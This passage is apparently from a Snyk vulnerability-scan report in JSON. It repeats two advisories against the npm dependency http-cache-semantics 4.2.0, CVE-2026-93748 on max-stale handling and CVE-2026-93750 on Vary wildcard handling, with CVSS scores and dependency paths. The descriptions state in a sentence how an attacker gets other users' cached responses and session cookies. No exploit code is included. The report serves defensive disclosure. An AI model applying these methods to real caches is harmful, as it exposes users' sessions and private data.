"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
